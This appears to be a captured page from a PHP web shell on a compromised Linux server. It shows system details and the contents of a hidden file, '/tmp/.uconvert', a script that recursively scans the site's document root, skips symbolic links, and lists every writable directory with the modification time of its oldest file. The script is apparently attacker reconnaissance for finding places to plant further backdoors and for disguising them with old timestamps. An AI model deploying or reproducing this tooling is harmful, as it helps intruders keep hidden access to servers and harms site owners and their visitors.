HEX
Server: Apache/2
System: Linux vps.uva06 3.10.0-1160.118.1.el7.x86_64 #1 SMP Wed Apr 24 16:01:50 UTC 2024 x86_64
User: noithat7 (1010)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: //tmp/.uconvert
<?php   function po($p) {     $f = glob($p.DIRECTORY_SEPARATOR."*.*");     if (!empty($f)) {         array_multisort(array_map('filemtime', $f), SORT_NUMERIC, SORT_ASC, $f);         return filemtime($f[0]);     } else {         return filemtime($p);     } } function check($p, $root) {     $o = po($p);     $res = str_replace($root, '', $p);     print "<d>{$res}@{$o}</d>\n"; } function scan($path, $root) {     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) {             $p = $path . DIRECTORY_SEPARATOR . $file;             if ($file != '.' && $file != '..') {                 if (is_link($p)) {                     continue;                 } elseif (is_dir($p)) {                     if (is_writable($p)) {                         check($p, $root);                     }                     scan($p, $root);                 }             }         }     } } $r = $_SERVER['DOCUMENT_ROOT']; if (is_writable($r)) {     check($r, $r); } scan($r, $r); die('!ended!');